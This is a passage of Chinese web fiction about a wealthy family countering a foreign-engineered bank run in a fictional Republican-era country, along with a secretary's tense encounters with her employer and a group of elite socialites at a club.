她终于放下筷子,道:“看我做什么,听你爹和二哥的!”
她又对沈靳北道:“老七,带你妹妹去写作业。”
除了最小的两个,众人都去了书房。
沈靳北和沈静雅走出一断路,越想越觉得很不对劲,大哥昨天被二哥打得鼻青脸肿的不说,爹也被气得不轻,今天全家都在家里,他们不是应该很忙吗?沈静雅就跟沈靳北说:“不如咱们偷偷去书房外面听听吧……爹不是常说什么作业都没有实战经验重要吗?说不定去书房外面听一听能学到很多老师讲不到的呢!”
沈靳北心里早就想去听一听了。其实他听到钞票挤兑的只言片语的时候,就恨不得去听听看怎么回事儿了,毕竟他以后也是要经营银行票号之类的。听八妹提出了,他原则上还要犹豫一下:“……要是被母亲发现了怎么办?”
沈静雅才懒得管欧繁汐发现不发现,拉着沈靳北就过去了。
沈松龄的书房里。
欧繁汐坐在门口的皮沙发上,虽然睁着眼睛,却像睡着了一样。
沈靳亭等几兄弟都找了位置站着。
沈靳言道:“今天已经调查清楚了,英国人操纵海关、交通、通讯等部门拒绝接收花国银行和百姓银行的钞票,并从这两个银行挤提了大量存款,还利用提尔皮茨社里面的人大量散步上述信息,已然引起京师一带城市群金融地震,光今日下午粮食价格已经涨了两成。”
沈松龄坐在书桌后面,依然杵着那根银质诗文木质杆体拐杖,气得嘴唇不停的颤抖:“沈靳亭,你听听,海关、交通这两个部门的主要人员都是走的你的门路上位的,他们现在当了英国人的走狗了!还不光他们,你是通讯局局长,你也是英国人的走狗吗?提尔皮茨社!提尔皮茨社!你的提尔皮茨社成立这些年,我一直没有管你,如今你还不解散吗?还想继续诅咒为孽是不是?”
沈靳亭的提尔皮茨社已经建立将近10年了。
其实提尔皮茨社成立初期,并没有多少成员。除了那些想抱沈靳亭大腿的投机钻营者外,就是黄河建设里的一些闲杂人员。但自从沈靳亭牛津大学毕业,成了参议院秘书以后,提尔皮茨社就迅速壮大了。如今他又当了通讯局局长,提尔皮茨社更是被踏破了门槛。
要说这些人为什么要参加提尔皮茨社呢,究其原因也很简单,这些人不论经商还是从政,都要走沈松龄的关系。而沈靳亭就是沈家的“太子爷”,说不定加入一个无足轻重的提尔皮茨社就傍上沈大少爷呢?!
沈靳亭昨晚和沈靳言打架就是因为沈靳言说沈靳亭的提尔皮茨社的人帮助英国人制造谣言,意图扰乱花国金融秩序。
沈靳亭怔怔的站在沈松龄面前,望着面前的书桌,其实他什么也没有看,心里混乱得很!提尔皮茨社这次是把他害惨了,他在父亲面前根本已经颜面无存。
他心里也是知道的,即使没有提尔皮茨社,英国人也会找其他社会团体或者江湖帮派来传播谣言,但他们这次偏偏找了提尔皮茨社,这无疑是害死他了!
沈松龄看到长子站在自己面前一言不发,一副死猪不怕开水烫的样子,他的太阳穴就气得突突的跳!
沈松龄拿起拐杖就要打沈靳亭,被站于书桌旁边的沈靳言一把抓住拐杖,劝道:“父亲千万动不得气了。”
沈松龄企图将拐杖夺回来,意图重新击打沈靳亭,沈靳言分毫不让,沈松龄挣扎了两下又抓起书桌上的热茶砸向沈靳亭:“你真是好得很,差点让我成为花国的千古罪人!”
沈靳亭完全没有躲避飞过来的热茶,那热茶生生砸到他肩膀上,泼了他一身,等挨了这一下,父亲的气或许能消一些,这下他终于开了口:“父亲责骂的对,儿子一定设法补救!”
沈松龄气得脸色发白:“补救?怎么补救?到了这个时间点
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,无论何种方法补救都只是亡羊补牢了!而且你个混帐东西也能想出方法补救?”
他深吸了一口气,好像呼吸都困难了,道:“钞票的发行对于贫弱的花国来说,举步维艰,但我们要走向现代化,必须走这一步。你看看,你这不是雪山加霜吗?”
沈靳亭道:“现在不是易苦思甜的时候,得赶快想办法补救,不然又要发生挤兑风波......”这是嫌他父亲啰嗦了。
沈松龄更是被这话气得发抖,将手里的拐杖一下就扔到了沈靳亭身上。
沈靳亭挨了这一下,又道:“只能瞒下提尔皮茨社的事,给财政总长说,让他发布停兑令了!”
沈松龄觉得此事不可行!
他看向沈靳言:“你觉得可行不?”
沈靳言摇摇头:“不行!”
斩钉截铁。
沈靳亭吼道:“我看是只要我这个大哥说的话,都不行是吧?”
沈靳言:“......”
沈松龄:“你做对了什么?还好意思在这里吼?靳言,不要理他,你先说说为什么不行?”
“首先自古以来任何在朝为官的人都有自己的情报网,提尔皮茨社干的事压根儿都瞒不住,但我有信心把损失控制到最低,所以此事暂时不会严重到父亲被弹劾,但提尔皮茨社万万留不得了!
其次,再也不能来一次全国停兑令了,五年前的停兑令已经使老百姓失去对国有银行的信心,并且使花国进一步失去部分金融主权。老百姓们恐惧心理持续了数年,金融市场日日风声鹤唳、草木皆兵,这样的环境再来一次停兑令,我花国何年何月才能建立起拥有绝对金融主权的银行体系?”
沈松龄闭上了眼,他知道次子说得很对,没有金融主权,花国将永远贫困!
一直坐在门口沙发上的欧繁汐道:“到这里我都听懂了,那现在我们应该怎么办?”
沈靳言苦笑,两世银行家的经验到底还是有些用处,现在他成了军师。
他道:“发生挤兑的主观原因在于金融市场人心不安,所谓兵来将挡,水来土掩,对于这个问题的解决方法就是改变老百姓的心理,消除他们对花国银行的疑虑,培植花国银行的信誉。这里我想了两个对策:一是邀请美国著名会计师塔门和珀西理查检查审计花国银行和百姓银行。并将审计结果在各大报纸登报公告以资证明。二是请父亲邀请政府官员和全国经济委员会的委员代表到花国银行和百姓银行公开检查,也请各大报纸登报新闻。”
沈松龄道:“塔门和珀西理查由你来联系,官员和全国经济委员会的委员代表非得我出面不可。”
沈靳言白天已经联系到了塔门和珀西理查,给的钱多,这两位答应马上起身飞花国,但没有直飞的航班,不知道何时才能到。
损失在所难免,他们答应来就没有完蛋。
他端起旁边高几上的茶猛灌了几口,众人都问:“这就完了?”
18. 挤兑(三)
沈靳晖端了圈椅让沈靳言坐下,让他慢慢说,他知道二哥说的都是有道理的,而且他从来没有这么崇拜过二哥。
沈靳言才坐下就定定的看着他,过了几秒才道:“你是不是有个社团?”
沈靳晖心里一紧,慌忙解释:“我的社团就是个简简单单的文学社团......”
他在心里补充:清清白白的,跟大哥的提尔皮茨社可不一样!
沈靳言道:“你的社团也好,大哥的兴邦也好,等塔门和珀西理查审计结果出来,都在街上去发传单,宣传花国银行和百姓银行以及一切花国人自己的银行的好信用。”
沈靳晖没有意见,表示要照做,他们家享受了别人没有的荣华富贵,自然要比别人多付出些义务。
这个祸端本来就与沈靳亭有联系,他自然也表示要照做。
沈松龄把他那拐杖在地上弄得坑坑直响,道:“这些都只是辅助.........你还没有说关键的策略呢!”
父亲果然是父亲!
沈靳言颔首:“公方也要出面,无论将来如何,币制局必须要赶快赶造花国银元,以备万一。我们家去联系各行各业的行业协会会长,劝服他们在行业内发出倡议,倡议商民们花国银行和百姓银行的钞票一律收用。
父亲需要出面见银行公会会长,让他联络花国的银行通力合作。建立临时公库,取存定期存款,到期共同负责付现。”
沈松龄严肃道:“你去见银行公会会长,我相信我儿能独当一面了。”
“谢父亲,但我去见不合适,我只能说我的花国通商银行全力支持银行公会!”
沈松龄沉默,他想培养老二的,但也不能拔苗助长。
沈靳言又看向沈靳亭,“大哥,咱们要有所预判......”
沈靳亭此时不得不服气他这个二弟,问他:“预判什么?”
“此事因提尔皮茨社而起,经济稽查委员会的人肯定会拿此事大作文章,一直以来看不惯我们父子的人可太多了,他们正好可以拿此事作为要挟我们父子的把柄......最严重的情况有可能会连累到父亲。”
沈靳亭咬咬牙:“大不了我辞去通讯局局长的职位。”
沈靳言道:“我们极力做出救市的举措,至于通讯局局长,丢了也没有关系,我相信大哥以后前途依旧光明。”
沈靳亭被沈靳言说的热血沸腾,连连说:“大哥晓得。大哥晓得。”
沈靳言又问:“你投资给定国银行的现银已经付了吗?”
沈靳亭道:“还没有筹到那么多,所以没付。”
沈靳言道:“幸亏没付,如果付了,这次严学熙肯定会挪用这批现银,到时候你的现银就只是定国银行账户上的数字而已。而且严学熙本身立场都不坚定,他帮着英国人日本人美国人来对付我们都是有可能的……直到金融市场稳定为止,你的现银都不要付。再说了,现银也是你的筹码,说不定现在正是困难的时候,你有现银在手,他们还不敢随意拿捏你呢。”
沈靳亭一一记下,回别院后又与倪梦珍商议了一番,后面的事情无不照做。
沈靳言去宋婉院中看宋婉,宋婉又给他讲了1908年户部银行发生挤兑事件时,沈靳言外祖父的应对经验。其实,这些沈靳言老早就知道,但他还是耐心的听完了才走。
另一边欧繁汐发现沈靳北和沈静雅在书房外面偷听,罚他们抄写1910年沃顿商学院教授E.S.米德的《公司理财》,那本书实在太厚了,沈静雅不干,都不知道猴年马月才能抄完?欧繁汐看她不成器的样子,还打了她手板子!
她想把沈静雅培养成沈家下一代的话事人,而不是到了年龄像她一样嫁给一个门当户对的男人。
......
尽管做了一系列措施遏制谣言的传播,但消息还是很快传开。来各银行兑换银元的老百姓蜂涌而至。
花国通商银行亦不例外,因为花国通商银行一直以来都接受花国银元兑换券的交易。
沈靳言重活一世,他不是不知道会发生挤兑风波,但他不能因为要发生挤兑风波就不接受花国银元兑换券,人人都可以趋利避害,但当趋利避害等于逃避社会责任时,就需要掂量掂量这个社会责任自己想不想承担!
他想承担,建立一个有金融主权的银行体系是他两辈子的梦。
这天,沈靳言先后收到了塔门和珀西理查的加急电文,说他们前期文审资料的时候发现花国银行和百姓银行毫无信用可言,因此,他们觉得花国之行毫无意义,既然无意义,就没有来的必要了。
沈靳言觉得这事有蹊跷!绝对是希望花国金融市场混乱的势力在阻止这两个会计师到花国来审计。
但邀请这两个会计师来花国审计这个消息是如何泄漏的呢?他只在父亲的书房里说过邀请了塔门和珀西理查来审计,没有在其他任何场合给其他任何人说过。
是邀请这两个人的电文被截获了还是沈家的人泄密了?
没有时间想那么多!
幸亏他还有暗招!这是后话。
从挤兑风潮开始,沈靳言和秘书室的人天天加班,没一天闲的。
这天严鹤约萧素素出去吃饭,她便来给沈靳言说想早点走。
但到了沈靳言面前,萧素素却不知道如何开口,看到他嘴里含着烟没有点,便拿起桌上的火柴准备给他点上。
“刺~”随着火柴点燃的声响,沈靳言抬眼望着萧素素,眸色锋利!
萧素素被他阴沉凛冽的目光吓到,呼吸发紧,身子也微微有些发抖,定定的与他对视了一会儿,才想起把火柴递过去,却被沈靳言一把搂到了怀里!
萧素素没有矫揉造作,而是出于危险的应急反应抬手就要推沈靳言,却被沈靳言狠狠的抓住手腕!
已经是秋天了,可男人身上的热浪却灼热得无法忍受,心脏不受控制了,突突的跳!
他因为加班憋坏了?
不,沈靳言一向是禁欲的,他的身份地位财富,想要什么样的女人都有,可他即没有夫人姨太太,也没有红颜知己,所以他现在搂着她不是想把她怎么样!<
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p>但是为什么呢?
萧素素搞不清楚现在的状况?但这绝不是正常的状况!
沈靳言眼帘微敛,漫不经心的看着萧素素。
他身上有一股淡淡的柠檬的香气,沁人心脾。
不,萧素素挥开脑子里柠檬香气的想法,现在他身上是任何香味都不重要,重要的是,他们两人的关系不应该有这样的姿势!
“想明白没有?”声音很低,语气却像班主任问功课时的语气。
“......”想什么?柠檬的味道?
不,肯定不是!
她应该想明白什么?
沈靳言将萧素素推起来站好。
他又问了一遍:“想明白没有?”
萧素素不着痕迹的后退了两步,拉开与沈靳言的距离。
她读书的时候门门功课第一,想任何课本上的问题都能想明白,但是她不明白现在沈靳言是要她想什么?
“算了,你也想不明白!就由我来问你吧!”
“......”
“你是烟花柳巷里的小姐吗?还是社交场上的交际花?”他问这话的时候居然有些生气。
萧素素愤愤的想:“他狗嘴里吐不出象牙来,我都还没有生气,他还生气了!”
他的语气不无严厉:“你是我的秘书!不是我的女人!也不是烟花柳巷的小姐!更不是社交场上的交际花!给我点烟不是你该做的事情!听到没有!”
严厉程度像是一定要萧素素记一辈子一样!
萧素素觉得这比打她一耳光还让她羞愤,湿了眼眶,跑出了行长办公室!
施卓然、井弘深和秘书室的其他人都不知道怎么回事,也不敢问,见萧素素收拾自己的包包也不敢拦。
萧素素艰难的对井弘深说要下班了,井弘深还安慰她:“最近太忙了,行长也天天加班,累了就在办公室睡,都没有回家睡觉......”
以为她是想早点走被沈靳言骂了!
萧素素沉默,井弘深说:“你就先走吧,我呆会儿会给行长解释。”
严鹤在银行门口接的萧素素,身边的两个护从都提着枪。
因为挤兑风波,太乱了,严鹤出门生怕两个护从不够,又怕萧素素觉得有护从不方便,就只带了两个!
见萧素素没问护从的事,情绪也很低落,便问她:“怎么啦?你是不是哭过?怎么感觉你哭过?”
他不确定,萧素素白净的脸上没有泪痕,眸色却泛着光,润润的光。
萧素素调整了一下自己的情绪,勉强挤出来一个笑:“加了很多天班......我太累了,打哈欠都会掉眼泪。”
这话把严鹤笑死了,他道:“你怎么这么可爱?”
萧素素今天一点也提不起精神和严鹤周旋,便道:“去哪里?”
严鹤一副神气的样子:“去最近最红火的销金窟——鲲鹏俱乐部。那里可以骑马、射击、打牌、喝酒……绝对可以消除你最近的疲乏。”
萧素素不再说话,暗暗的消化掉自己的坏情绪。
19. 挤兑(四)
朱门酒肉臭,路有冻死骨。
听说严鹤要带她去鲲鹏俱乐部,萧素素突然想起了这句话。
她看到街上那些排队兑换现银的人争先恐后,撞门攀窗,多数人都已经到了不顾生死的地步。这些升斗小民人数虽然众多,但是兑换的数目并不大,他们手中所持的不过一元或5元的兑换券数张,或一两百元的存单一张。
有几个从银行出来的人,抱着自己的怀抱,怀里装着的那几两银子就是全家老小的生命之重。
恐怕现在鲲鹏俱乐部里的人们却个个休闲自在,嘴里一口酒就值几十或者几百元,极尽奢华之能事。
她这样想着,就见严鹤的车停在了鲲鹏俱乐部前,有门童迎接,帮忙泊车,萧素素穿着一身上班时穿的洋装跟着严大公子就进了包厢。
五光十色灯光的包厢里已然很热闹了,有著名歌星东方云韶正在包厢中唱《明月千里寄相思》,坐在里面的总共三个男人,个个穿着华服,衣冠楚楚,每人身边都有穿着旗袍的女孩子,花枝招展、婀娜多姿,像是传说中陪酒陪玩陪开心的交际花,里面正热闹着,萧素素一看就后悔的转身就想溜,她不适应这样的场合,在这种地方她手脚都不知道放在哪里!
严鹤就是带她来感受他的世界的,他要让萧素素知道他崇高的地位,无法拒绝他的优越会给她带来的荣华富贵,见她想溜,怎能给她机会溜走,他一把搂住她的腰,用力一带就拥进了门。
包厢里的人全都看向萧素素,欧阳云昭也停止了扭动,结束了歌曲。
世人先敬罗衣后敬人,自是先看她的打扮。
萧素素今日穿一件藕荷色羊毛的初冬洋裙,身材高挑,腰身削细,居高临下迎接众人的审视。
严鹤开始引荐她给众人,先说了她的身份:“陆军少将萧岐山的女儿萧素素。”
既然要先介绍她,至少说明对面那几个男士才是上位者。
对面一穿粉白撒花金色滚边缎面旗袍的苗条女郎斜着眼睛看人,她眼波涟滟,娇笑道:“严大公子,换口味儿了?这是扶贫济困吗?”
极言萧素素“身份低”。
萧素素在心里骂了一声“婊子”,转身就要走,总不可能狗咬你一口你也咬回去吧,最好离狗远一点!
那女郎旁边的男人装腔作势的骂了她一句:“放肆!严大公子带来的人你也敢如此对待!小心严大公子生气!”
那女郎用粉拳假打了一下那男人的胸膛,嗔道:“既然有本事站在严大公子身边,自然听得出来我在开玩笑的。”
开玩笑你个头!
萧素素装腔作势的人见得多了,并不理他们,只质问严鹤:“你不是说带我来放松放松吗?这就是你所谓的放松?这怎么放松,让我给他们站军姿!”
她想起沈靳言今天说她的话:“你是我的秘书!.........不是烟花柳巷的小姐!更不是社交场上的交际花!”
这算什么,她在这里不算交际花,却是交际花都看不上的人!
她开始怀疑自己为了给父亲报仇选择接近严鹤正不正确?
严鹤见她黝黑的眸子里散发着冷芒,显然很有些生气了,这才对众人道:“这是我女朋友,你们不许对她无礼!”又搂住她的胳膊,道:“你只管好好玩,别管他们就是了!他们平时就是嘴贱,没有坏心思的。”
萧素素才不管对面是不是她惹得起的人,自认为在严鹤心中还是有点分量,便问他:“这是能好好玩的氛围吗?”
刚刚那女郎痴笑一声,很是轻蔑的那种,起身行礼道:“刚刚我真的只是开玩笑,我们都是严鹤的好朋友,怎么会质疑他看上的人呢?你就过来好好玩!”
又一贵公子打圆场道:“严大公子,这位既然是你女朋友,还不赶快介绍我们与他认识,怎么,我们几个让你拿不出手?”
严鹤首先介绍了他,说他是百姓银行总裁裴成益家的公子裴胜俊。
萧素素腹诽:赔?这姓氏不好吧!这样的姓氏怎么能当国家银行之一的百姓银行的总裁?
严鹤不知道萧素素肚子里的官司,又介绍了最先说话的那位男士:“众议院议长欧乐贤之子欧郁诚。”
欧郁诚长得不好看,萧素素看了一眼她就挪开了视线。
她注意到一直未说话的那个男子坐在角落里,那男人一身黑色西装,冷坐发呆,几乎就要隐没在灯光的阴影里了。
看萧素素在观察他,他只是摇着手中的红酒,目光不知定在哪里。他身边陪酒的女孩是这里最年轻漂亮的,有双特别漂亮的眼睛,看人的时候仿佛就能把人看酥软过去,但面对身旁这座冰山显然也已经束手无策了,只能尴尬的陪着冷坐。
这里的几人也任由他一个人冷场,像是怕打扰他的好心情似的。
终于,严鹤介绍了这人:“......日本横滨银行驻花国办事处总经济顾问岛津齐哲,别看岛津先生年轻,他可是金融界的天才。”
萧素素一惊,横滨银行?难怪他表现得比谁都清高!
五年前的挤兑风波就有横滨银行的份!他们和英国人一起妄图搅乱花国金融市场,让花国的经济由国际共制!
萧素素自此已对严鹤有了全新的认识,能把岛津齐哲奉为上宾的人能是个什么东西呢?
严鹤又介绍那几个女郎,挨着岛津齐哲的是严鹤的亲妹妹严瑛。挨着欧郁诚的女郎是议员金智翰之女金巧云。
严鹤最后介绍那个最先挑衅萧素素的女郎:“......是财政部长皇甫元思的女儿皇甫乐珊。”
萧素素讽刺道:“难道不是前财政部长吗?”
皇甫元思五年前挤兑风波时频出昏招,最后“停兑令”也是他想出来的,“停兑令”一出,摆明了当局就是要赖账,银行再想做什么也已经无计可施,金融市场因此一片混乱,花国兑换券的价格越发走低。此举令花国银行系统的信用从此荡然无存,时至今日依然一蹶不振。<
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p>皇甫乐珊像是被“一剑封喉”了一样,气得说不出话来!
严鹤脸色阴沉,他认为不管有没有这个“前”字,皇甫乐珊都比萧素素的地位要高,她怎么能这么没有“礼貌”呢?看来以后要好好调教她。
那个歌星东方云韶突然靠进严鹤的怀里,道:“明知道人家在这里等你,你还带她来,她这样的,莫不是来搅局的?”
萧素素早就看不惯这些人了,道:“我就是来搅局的!所以我走了!”
“你去哪里?”严鹤问她。
萧素素头也不回,道:“回银行加班。”
严鹤站在包厢里吼:“沈靳言给你的那点工资值得你这么拼命吗?”
岛津齐哲微眯的眼睛忽然撩起,看向已经远去的背影,不知在想什么。
萧素素不知道,她这副“坏脾气”的样子,以及对权势的漠不关心和无所畏惧,加上穿着随意简单,与众不同,在凌乱的灯光烟酒、纸醉金迷的奢华俱乐部中,被那些香浓冶艳的交际花映衬着,有说不出的魅力。
岛津齐哲看着软若无骨靠过来的严瑛,一揽她纤腰,把她扔到沙发上。
严瑛低呼一声,不是岛津齐哲把她怎么样了,而是岛津齐哲迈着他的大长腿出去了。
严瑛爬起来,低吼一声:“大哥,你为什么要把萧素素带来这里?你看她,一来就破坏了这里的融洽气氛。她就是个上不了台面的丫头!”
严鹤被她吵得脑仁生疼,指了指她:“你去照照镜子,你这个样子哪个男人喜欢你?岛津先生他们日本女子可是个个温柔似水,你再看看你自己?我跟你说,岛津先生是金融界的天才,有本事你讨了他的欢心,而不是在这里给我窝里横。”
皇甫乐珊被萧素素下了面子,也抱怨道:“本来约来打牌的,你看看,一把都还没有打,就被萧素素这女人给搅了局了!说真的,严鹤,你的家世背景,要什么样的女人没有,你偏偏去找个萧素素,区区陆军少将的女儿......”
严鹤脸色阴沉,道:“我父亲尚且不管我的这些事,轮得到你来管!”
皇甫乐珊被气得不行,向欧郁诚撒娇:“你看他,狗咬吕洞宾、不识好人心!”
欧郁诚搂着她轻哄:“咱不理他哈!”
金巧云提议:“既然大家都有气,不如我们去射击场玩射击,发泄发泄!”
......
“萧小姐?”萧素素站在鲲鹏俱乐部门口等车,有人轻拍了一下自己的肩膀,如此这般唤她。
她转头,看到正是刚刚包房里的那个岛津齐哲,因此不冷不热的应了一声:“岛津先生。”
“萧小姐要去哪里?我送你。”
萧素素不想搭理他,硬邦邦的说:“不用,我坐黄包车。”
岛津齐哲受不了被人拒绝,太损志气、太伤心情。和他接触的那些花国贵族子弟都对他趋之若鹜,除了姓沈的!
当然,今日又出了一个姓萧的了!
20. 挤兑(五)
鲲鹏俱乐部门口都是些西洋轿车来来往往,人力黄包车很少过这边来,毕竟来鲲鹏的人也不是一般的人,都有小轿车的。
两道车灯从不远处的路上射过来,“吱——”一声,一辆吉普停在萧素素眼前。
落下的车窗里是一个青年的脸,带着墨镜,萧素素只觉得很是熟悉,绝对在哪里见过,一时却想不出来是谁。
那人道:“上车,我送你回家。”
萧素素正欲拒绝,就听岛津齐哲道:“沈先生,你好!”
萧素素突然想起了,这人是沈靳言的四弟沈靳晖。
萧素素一刻也不想与岛津齐哲多呆,拉开车门坐了上去,也不管自己其实都没有跟沈靳晖说过话。
岛津齐哲也不管热脸贴了冷屁股,依然笑着说:“沈先生什么时候赏个脸,咱们到鲲鹏俱乐部聚聚.........自从读了您的新体诗,鄙人很是崇拜先生的才华......”
沈靳晖没等他说完,踩了油门就走了。
因为最近的事情,街上明显比平时的人要少。
两个人坐在车上不聊天,气氛很尴尬,沈靳晖便随口问萧素素:“你怎么在鲲鹏俱乐部?”
萧素素一肚子苦水,叹了一口气,道:“朋友约我出去吃饭,结果饭也没有吃到,受了一顿冤枉气!”
沈靳晖道:“那我找个地方带你去吃饭。”
“不用了,我回家吃。”
“不,这么晚了让一个女孩子空着肚子回家太没有风度了,我沈家四公子不做这么跌份儿的事!走!我带你去吃东西,顺便给我二哥打包一份送去,我二哥今天肯定又没有吃晚饭。”
想到沈靳言天天加班,吃饭没有一个准点,萧素素道:“那你把我放下车,我自己坐黄包车回家,你去打包给行长。”
“你非要让我跌份儿是吧?你一个姑娘大晚上的一个人回家多不安全,你没有看到新闻啊,陆军某团长的太太在医院照顾受伤的团长,被六七个兵油子轮.奸了。”
“……”这都什么和什么啊?萧素素知道世道乱,但也没有乱成这样的吧?那个团长在干嘛?为什么让别人欺负自己的太太?
沈靳晖看她脸色煞白,笑道:“你不要吓到了,我只是说要注意安全。对了,你说你朋友约你出来吃饭,饭没有吃到?也不送你回家?你哪个朋友这么不仗义?”
“严鹤呗。”萧素素想都不想就脱口而出,她今晚也是对严鹤意见很大!为了和他出来吃饭她还被沈靳言给骂了,结果严鹤却这样对她!
沈靳晖问道:“你怎么又和严鹤认识?”
萧素素道:“大学同学。”
沈靳晖突然脸色一变,打了下方向盘,将吉普停在路边,刹车的时候把萧素素吓了一跳:“你干嘛?吓死我了!一惊一乍的!”
沈靳晖皱眉看向花容失色的萧素素:“所以,今晚和严鹤一起的人还有岛津齐哲?”
萧素素一幅你在说废话的表情:“你刚刚不是看到了吗?人家还给你打招呼了呀!”
沈靳晖今晚在鲲鹏俱乐部隔壁招待了几个《京师商报》的记者,准备离开的时候远远看到一女子被岛津齐哲搭讪,岛津齐哲可不是什么好鸟,他是奔着拯救“失足少女”的心情开过去的,结果车开过去一看,“失足少女”居然是萧素素,二哥的秘书!这个萧素素上次还以二哥“女朋友”的身份出席过沈家家宴!他更是不能坐视不管!
严鹤和岛津齐哲勾搭在一起了?他们想干嘛?
沈靳晖皱着眉想了想,指着前面不远处一个馄饨店说:“我们赶快去吃饭,吃了回你们银行!”
萧素素没意见!但是他这是怎么了?
已过了饭点,馄饨店生意惨淡,店小二在最里面的一张桌子上坐着,看到进来两个人,穿着十分的体面,这才起身相迎,拱了拱手道:“客官请见谅!本店是小本生意,不收银元兑换券,客官如果介意,请另去它处就餐。”
沈靳晖从公文包里掏出来一沓美金,嘴里忍不住盘问:“为了救市我,商业公会不是再三倡议大家要收兑换券吗?”
小二皮笑眼冷:“我们哪里懂这些……”
萧素素道:“人家也是没有办法!”
又吩咐店小二:“两碗馄炖,在店里吃,等会儿再给我们一屉包子带走!”
沈靳晖:“为什么不给我二哥带馄饨?”
萧素素:“你带碗来装馄饨了吗?”还横了沈靳晖一眼。
沈靳晖道:“馄饨需要自己带碗来装?我从来没有给人带过吃食,哪里知道这些!”
他堂堂沈家四少爷,从来衣来伸手、饭来张口,他瞄了一下店里简陋的环境,补充道:“我连这种店都没有来过。”
萧素素:“……”
她知道若不是要带自己来吃饭,沈靳晖是不会进这个店的,就说店家不收银元兑换券的事,道:“商业公会虽然发了倡议要求商户要收银元兑换券,可馄饨店拿着兑换券也买不到面粉和鲜肉,那些纸币全都要砸到自己手里,所以,政策是政策,对策是对策,上有政策下有对策!”
沈靳晖:“……”。
他们坐下,小二很快端了两碗馄饨上来,萧素素到底是有些饿了,大快朵颐。沈靳晖却扒拉着吃不下。
萧素素:“四少爷吃不下这种小店的馄饨?”
沈靳晖:“那倒不是,我的胃没有这么……做作!”
萧素素抬眼拿眼神询问他怎么回事?
沈靳晖道:“我刚刚在鲲鹏俱乐部隔壁的七道菜招待《京师商报》的记者,吃饱了。”
“那你不早说,我还叫了两碗馄饨,多浪费啊!”
沈靳晖:“怎么能说浪费呢,你不叫两碗馄炖,店家就没法收两碗馄饨的美金!你也算积德行善了!”
好像说的有些道理,萧素素叹了一口气:“也不知道这场危机什么时候能结束?”
沈靳晖道:“从兑换风潮爆发开始,我已经联系了《金融周报》、《花国新报》、《京师商报》等纷纷刊载评论,一面及时反映当局各部门及金融界的积极应对,一面揭露这
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次风潮为英国人的阴谋……加上大哥、二哥和我爸主导的很多对策,这场风暴应该很快就能结束。”
“真的很快能结束?五年前那次可是持续了很久,你们不知道,老百姓可苦着呢!”
沈靳晖道:“我们要相信我二哥!”
萧素素不解,这关沈靳言什么事,他虽然是个行长,可与金融市场来说,也渺小得很。
但她闭嘴没有说出来,想起今晚上沈靳言严厉的眼神,她瑟缩了一下,三两下就把碗里的馄饨吃完了。
结账的时候,小二总算笑了一下:“这还是今天的第一单生意。兑换券我们不敢收,普通人也没有美金在外面吃饭,所以店里生意惨淡。”
......
回到办公室,只有井弘深还在伏案工作,其他人都下班了。
他看到萧素素和沈靳晖在一起,显然很吃惊。
沈靳晖将其中一个装了包子的袋子递给井弘深,问他:“我二哥呢?”
“在里面呢。”
看见自己的弟弟进门,沈靳言连寒暄都没有,继续埋头看他的公文,沈靳晖逗他:“锄禾日当午,救市好辛苦......”
“胡闹!”沈靳言制止了他,教训道:“我们家的人是最没有资格念这诗的人,穷苦百姓吃饭都成问题,我们好多了!”
沈靳晖不敢说话了,将剩下的包子放在书桌上。
“这是什么?”沈靳言抽空问他。
“萧秘书给你买的包子。有些凉了,不知道你吃不吃?”
“萧秘书?哪个萧秘书?”
“哈?当然是萧素素……”
沈靳言想起萧素素在他怀里擒着泪的眼眸,望着那包子出神:“她不是下班了吗?怎么......”
沈靳晖:“我正要跟你说呢,若不是我,萧秘书恐怕就要上那个叫岛津齐哲的日本人的车了?”他知道沈靳言看不惯岛津齐哲,他也看不惯!
沈靳言问道:“怎么回事?”
沈靳晖:“我今晚宴请完《京师商报》的记者出来......”把他看到的和萧素素给他说的给沈靳言说了一遍。
沈靳言烦躁的松了松自己的领带,道:“岛津齐哲一直都想结交我,我没有给他机会。他难道是结交我不成,想接近萧秘书来打探我的消息?”
沈靳晖没有跟上沈靳言的思路,反而嬉笑道:“二哥,有没有可能是因为萧秘书长得漂亮,人家单纯的见色起意?”
见色起意?沈靳言薄唇微微紧绷,好像真的在思考这个可能性。
沈靳晖道:“萧秘书究竟是什么来路?她一个家庭教师能进你的秘书室,不会是你见色起意吧?”
沈靳言把包子砸过去:“没正形的小子,谁都跟你一样一天到晚只知道女人吗?”
沈靳晖接住包子,不服气道:“我很有正事儿的!”他指了指沈靳言案上的那一叠报纸,道:“这些都是我为了稳定金融市场,联系报社登载的评论!”
沈靳言笑道:“这些事的确干得漂亮!”
21. 挤兑(六)
“这些事的确干得漂亮!”沈靳言肯定道。
这是极其肯定和鼓励性的言语,但沈靳言此时的笑只是嘴角微微向上,划出一道暧.昧不分明的弧线,严格来说这与别人来说真的不算笑。
沈靳晖是懂自己的二哥的,他不喜欢像别人一样激烈的表达情感,所以能从二哥这里看到这个笑意,他已经很满足了!
他的二哥不喜欢热烈的表达情感!这可不是一个好习惯!
所以,他严肃道:“二哥,你让萧素素来你的秘书室工作,真的不是见色起意吗?”
沈靳言哭笑不得:“你小子一天胡说八道些什么啊!她是我朋友的女儿,我们不是一个辈份呢,我怎么会有别的心思?
沈靳晖将信将疑:“是吗?”
沈靳言道:“当然,给朋友的女儿安排工作是再正常不过的事情了!你还不是安排了你同学的表弟在黄河建设工作。都是一样的道理,花国是个人情社会,哪里都是人情。”
沈靳晖点点头:“是是是!你说的都对!但你哪个朋友有这么大的女儿!我怎么不知道。你还没有结婚,你朋友的女儿都这么大了?”
沈靳言:“萧素素是萧岐山的女儿……”
沈靳晖:“萧岐山是谁?我怎么没有听说过?”
沈靳言忍无可忍:“好了,好了。没听过算了,你不用知道他是谁?你可以走了!”
沈靳晖嬉皮笑脸:“二哥,你怎么说翻脸就翻脸?说好的兄友弟恭呢?我把萧秘书从日本人的手里解救出来,还给你买了包子!你就过河拆桥啦?哪有这样的?”
沈靳言不认账:“第一,萧秘书有自己的判断,不会轻易让自己陷入需要被解救的境地。第二,包子是萧秘书买的,不是你买的!你自己进门的时候说的。”
说完下逐客令:“你真的可以走了!”
沈靳晖耍赖:“我不走!凭什么我一来你就让我走!”
沈靳言掏出怀表给他看:“这都几点了?你留在这里想干嘛?我办公室可没有你睡觉的地方!”
沈靳晖扫视了一圈整洁宽敞的办公室,正好有两个皮质的大沙发,他走过去,坐在一个沙发上面,拍拍沙发:“怎么没有,二哥睡哪儿,我睡哪儿。”
沈靳言不认同:“我们从小都没有一起同吃同住过,现在再来这么一出,假不假?赶快走!不走我就亲自把你轰出去!”
